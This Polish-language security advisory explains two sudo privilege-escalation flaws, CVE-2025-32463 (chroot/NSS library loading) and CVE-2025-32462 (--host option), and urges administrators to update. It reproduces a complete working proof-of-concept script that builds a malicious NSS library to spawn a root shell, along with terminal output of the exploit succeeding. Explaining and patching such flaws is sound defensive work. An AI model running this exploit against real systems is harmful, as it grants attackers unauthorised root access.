Krytyczna podatność w Sudo (CVE-2025-32462/CVE-2025-32463) – potrzebna jest aktualizacja

Sudo to framework z tekstowym interfejsem, krytyczny z punktu widzenia bezpieczeństwa systemów z rodziny GNU/Linux, UNIX i MacOS. Dzięki niemu, uprawnieni użytkownicy mogą wykonywać polecenia w kontekście innych kont w systemie, a w szczególności jako superuser (root), bez konieczności współdzielenia haseł konta administratora. Nie jest to z pewnością narzędzie obce nawet początkującym użytkownikom. 

Sudo (front-end) dostarczane jest jako statycznie zlinkowany plik wykonywalny (binarka – Executable Linkable Format – ELF). Aby móc spełniać swoją funkcję w systemie, musi ona działać z uprawnieniami użytkownika root, stąd zastosowano tzw. SUID bit, który powoduje, że w momencie wykonania programu, jądro systemu podmienia efektywny UID (euid) użytkownika na UID właściciela – roota. Jakakolwiek podatność w tak dostarczonym oprogramowaniu, które pozwala np. na wykonanie kodu będzie skutkować podniesieniem uprawnień przez mniej uprzywilejowanego użytkownika. Dlatego tak ważne jest aby dbać o to, aby wrażliwe oprogramowanie pozwalające zwykłym użytkownikom wykonywać kod w kontekście roota, było aktualizowane i utrzymywane w sposób zapewniający bezpieczeństwo. Polecenie sudo (i wszystkie mechanizmy takie jak np. wtyczki – pluginy) stanowi idealny cel dla atakujących, którzy potrzebują podnieść swoje uprawnienia w systemie. 

Zespół Stratascale Cyber Research Unit zaprezentował dwie podatności CVE-2025-32462 oraz CVE-2025-32463, które pozwalają atakującemu dokonać eskalacji uprawnień w systemie. 

Podatne są następujące wersje, przy czym autorzy badania nie dokonali sprawdzenia całego zakresu:

I) Podatność CVE-2025-32462

• Legacy 1.8.8 – 1.8.32
• Stable 1.9.0 – 1.9.17

II) Podatność CVE-2025-32463

• Stable 1.9.14 – 1.9.17

Nie odnaleziono możliwości tymczasowego rozwiązania problemu, dlatego w celu ochrony systemu zaleca się administratorom pilną aktualizację.

CVE-2025-32463 – chroot

Opis zaczniemy od podatności oznaczonej numerem CVE-2025-32463, która została sklasyfikowana jako krytyczna otrzymując 9.3 w skali CVSS. Wynika to z faktu, że niebezpieczna jest domyślna konfiguracja Sudo – to powoduje, że wystarczy obecność niezałatanej wersji w systemie, aby pozwolić dowolnemu użytkownikowy wykonywać polecenia w kontekście użytkownika root. 

Luka została wprowadzona dwa lata temu w wersji v.1.9.14, gdy zaimplementowano dopasowywanie ścieżek w przypadku zmiany katalogu głównego. Sudo pozwalało na wykorzystanie wywołania systemowego chroot do zmiany postrzeganego przez proces katalogu głównego (z wykorzystaniem przełącznika -R <katalog> lub –chroot=<katalog>). Należy pamiętać, że chroot nie jest uważany za bezpieczny mechanizm jaila. 

Implementacja logiki chroota była dostępna w usuniętym już pliku pivot.c Pomiędzy wywołaniami funkcji pivot_root() i unpivot_root(), wywoływane były Name Service Switch (w skrócie NSS), czyli mechanizm wbudowany w glibc, który pozwala zdefiniować skąd system ma pobierać określone informacje (np. baza danych użytkowników – /etc/passwd, grup /etc/groups etc). NSS konfiguruje plik /etc/nsswitch.conf, który odczytywany był chrootowanego środowiska (a więc takiego, gdzie atakujący może mieć prawo zapisu). Przykładowa konfiguracja może wyglądać następująco:

passwd:     files systemd
group:      files systemd
shadow:     files
hosts:      files dns
services:   files ldap

Listing 1. Fragment pliku konfiguracyjnego nsswitch.conf.

To co zauważyli badacze, to fakt, że źródła (elementy rozdzielone spacją po prawej stronie pliku), są wykorzystywane do ładowania bibliotek współdzielonych (plików .so), co ilustruje listing 2.

#0  0x0000763a155db181 in woot () from libnss_/woot1337.so.2
#1  0x0000763a1612271f in call_init
#8  0x0000763a1612a164 in _dl_open (file="libnss_/woot1337.so.2", 
#14 0x0000763a15f53a0f in module_load
#15 0x0000763a15f53ee5 in __nss_module_load
#17 0x0000763a15f5460b in __GI___nss_lookup_function
#19 0x0000763a15f50928 in __GI___nss_passwd_lookup2
#20 0x0000763a15f62628 in __getpwnam_r 
#21 0x0000763a15d59ae8 in pam_modutil_getpwnam
#27 0x0000763a15d58d99 in pam_acct_mgmt
#28 0x0000763a1577e491 in sudo_pam_approval
#29 0x0000763a157ce3ef in sudo_auth_approval
#30 check_user.constprop.0
#32 0x0000763a15799143 in sudoers_check_cmnd
#33 sudoers_policy_check
#34 0x00005ba00874b491 in policy_check
#35 main

Listing 2. Fragment stosu wywołania, który pokazuje jakie biblioteki były wywoływane przez sudo w momencie przetwarzania pliku nsswitch.conf (źródło)

Aby uzyskać takie zachowanie jak na listingu 2, wystarczy aby w pliku konfiguracyjnym w chrootowanym środowisku pojawiła się dyrektywa: passwd: /woot1337

Eksploitacja od tego miejsca jest już trywialnie prosta. Badacze opublikowali również pełen kod wykorzystujący tę podatność:

#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
#                  @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}

Listing 3. PoC pozwalający nadużyć CVE-2025-32463 (źródło)

Efektem działania powyższego kodu jest uruchomienie powłoki systemowej z uprawnieniami roota.

lowpriv@prod:~/CVE-2025-32463$ id
uid=1001(lowpriv) gid=1001(lowpriv) groups=1001(lowpriv)
lowpriv@prod:~/CVE-2025-32463$ sudo -l
[sudo] password for lowpriv:
Sorry, user lowpriv may not run sudo on prod.
lowpriv@prod:~/CVE-2025-32463$ ./sudo-chwoot.sh
woot!
root@prod:/# id
uid=0(root) gid=0(root) groups=0(root),1001(lowpriv)

Listing 4. Efekt działania PoC z listingu 3 (źródło)

To co robi zaprezentowany PoC to w konstruktorze biblioteki zmienia effective UID i effective GUID na 0 (czyli kolejno efektywny identyfikator użytkownika root i grupy root). Następnie zmienia katalog na / i wywołuje powłokę (zamieniając wykonywany proces na /bin/bash). 

CVE-2025-32462 – opcja –host

Mniej interesującą (ale wciąż niebezpieczną) podatnością, która wymaga specyficznej konfiguracji hosta jest luka obecna w Sudo od ponad 12 lat oznaczona identyfikatorem CVE-2025-32462. Tym razem problemem jest argument -h (–host), który pozwala określić nazwę hosta, dla której listowane są (przy użyciu -l) reguły. Funkcjonalność ta umożliwia odfiltrować reguły dotyczące tylko konkretnego hosta lub grupy hostów. 

Dlaczego tak? Otóż konfiguracja Sudo stara się być elastyczna. Dlatego możliwe jest zdefiniowanie wielu reguł dotyczących wielu hostów wewnątrz pojedynczej konfiguracji sudoers. Dzięki temu może być ona ujednolicona w większym środowisku, z zachowaniem wymaganych reguł dla konkretnych hostów. To znaczy, że w zależności od miejsca (hosta), na którym użytkownik wywołuje polecenie sudo, efekt jego działania może być różny. 

Jednak jak zauważyli badacze, dokumentacja Sudo mówi o tym, że argument –host powinien być wykorzystywany wyłącznie z przełącznikiem -l, w celu odfiltrowania reguł dla konkretnego hosta. Jednak pomoc programu zwraca inny wynik.

Okazuje się, że wywołanie polecenia sudo, z określeniem explicite hosta spowoduje zastosowanie reguł zdefiniowanych własnie dla niego, a nie dla systemu na którym działa użytkownik. To oznacza jedno, jeśli w organizacji zdefiniowane są różne poziomy dostępu dla użytkownika i może on np. wywoływać polecenia w kontekście użytkownika root na jednym systemie, to wskazując jego alias (np. –h dev.test.local) może on skorzystać z tej reguły na innym systemie (trzymając się konwencji autorów badania – prod.test.local).

Podatność może zostać wykorzystana w sposób zaprezentowany na obrazku 4. 

Obydwie podatności zostały zgłoszone pierwszego kwietnia 2025, a zmiany w repozytoriach różnych rodzin systemów operacyjnych zostały zgłoszone 23.06.2025. 

~Black Hat Logan